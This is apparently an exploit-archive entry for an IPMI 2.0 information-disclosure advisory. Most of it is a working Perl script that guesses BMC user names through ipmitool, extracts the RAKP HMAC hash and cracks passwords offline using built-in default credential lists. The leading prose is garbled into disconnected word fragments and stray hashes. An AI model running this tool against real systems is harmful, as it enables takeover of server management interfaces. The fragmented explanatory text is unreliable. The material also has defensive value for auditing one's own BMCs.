source: https://www.securityfocus.com/bid/61076/info
Intelligent Platform Management Interface is prone to an information-disclosure vulnerability.
Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks.
Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected.
(http://xcat.sourceforge.net/)
passwords
line
authentication
recognizable error
This is
network
vendors
value)
on it.
"lanplus"
192.168.0.69 chassis identify
instance, on my iMac,
details.
will emit
managed system,
number,
name,
you.
0xede8ec3caeb235dbad1210ef985b1b19cdb40496
'ADMIN'
'opensource', 'password' use Time::HiRes; use IO::CaptureOutput
qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long
qw(:config no_ignore_case); sub main::VERSION_MESSAGE {
print "$0 0.0.1\n";
exit;
};
sub main::HELP_MESSAGE {
print "Usage: $0 [options] target\n".
"\t-d\t\t\tDebug... print words as they're being guessed\n".
"\t-i\t\t\tinform... every N guesses print out a status-y line\n".
"\t-n num-guesses\t\tsets N for -i option\n".
"\t-p /path/to/words\tUse a file of passwords to guess, 1 per
line\n".
"\t-P password\t\tUse a specific password \n".
"\t-u /path/to/users\tUse a file of users to guess, 1 per line\n".
"\t-U specific-user\tUse a specific user, don't guess\n".
"\t-v\t\t\tVerbose\n".
"\t-version\t\tPrint version #\n";
exit;
};
GetOptions(
'd' => \$debug,
'h' => \$help, 'help' => \$help,
'i' => \$inform, 'inform' => \$inform,
'n=i' => \$Nguesses,
'p=s' => \$password_file,
'P=s' => \@guesses,
'u=s' => \$user_file,
'U=s' => \@users,
'v' => \$verbose,
'version' => \$version ) || die main::HELP_MESSAGE();
die main::HELP_MESSAGE() if (defined($help));
$target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq "");
print "Started at " . `date` if $verbose;
needs something $pass = "fluffy-wuffy-bunny!!";
made up
memory... feel
if (! defined(@guesses)) {
if ($password_file ne "") {
open(PASSWORDS, $password_file) || die "can't open user file
$password_file\n";
print "opening password file $password_file\n" if $verbose;
}
else {
print "using default passwords\n" if $verbose;
@guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme',
'opensource', 'password');
}
}
up
if (! defined(@users)) {
if ($user_file ne "") {
open(ACCOUNTS, $user_file) || die "can't open user file
$user_file\n";
print "getting list of users from $user_file\n" if $verbose;
@users = <ACCOUNTS>;
chomp(@users);
close(ACCOUNTS);
}
else {
@users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator');
print "using default user list\n" if $verbose;
}
}
sub guesswork() {
print "\t$guess...\n" if $debug;
if ($inform) {
print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses));
}
$guess_suffix = "";
$guess_suffix = "ses" if $n > 1;
if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) {
print "...cracked in $n guess$guess_suffix...\n\nPassword for
$user is $guess\n\n";
$cracked = 1;
return 1;
}
$n++;
return(0);
}
for $user (@users) {
print("\tprobing $target for $user...\n") if $verbose;
@icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U",
"$user", "-P", "$pass", "-H", "$target", "chassis", "identify");
($stdout, $stderr, $success, $exit) = capture_exec( @icmd );
itself.
if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; }
elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for
session/) {
print "interesting... insufficient resources... try again?\n" if
$verbose;
next;
}
elsif ($stdout =~ /^\s*$/) { next; }
data in stderr
$stderr =~ s/\n//gs;
$stdout =~ s/\n//gs;
$name_found = 1;
print "Found valid user: $user\n" if $verbose;
@users = ();
0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9
($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] :
([^\s]+).*$/m;
$hashy = $1;
if ($hashy eq "") { print "couldn't find an auth code, skipping\n";
next; }
($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\)
([^>]+)>>.*$/m;
$input = $1;
if ($input eq "") { print "couldn't find data to HMAC, skipping\n";
next; }
$stuff = pack 'C*', map hex, split(/ /, $input);
print "... searching for HMAC match for $user ($hashy)\n" if
$verbose;
$n = 1;
$cracked = 0;
$start = Time::HiRes::gettimeofday();
if (! defined(@guesses)) {
while (($guess = <PASSWORDS>)) {
chomp($guess);
break if guesswork();
}
close(PASSWORDS);
}
else {
for $guess (@guesses) {
break if guesswork();
}
}
}
die "\nno valid accounts found\n" unless $name_found; print "$n
passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday();
$time = $end - $start; if ($verbose && $time > 0) {
printf("time elapsed was ~ %.2f\n", $end - $start);
$per_second = $n / $time;
print "$n passwords were guessed, at the rate of $per_second per
second\n";
}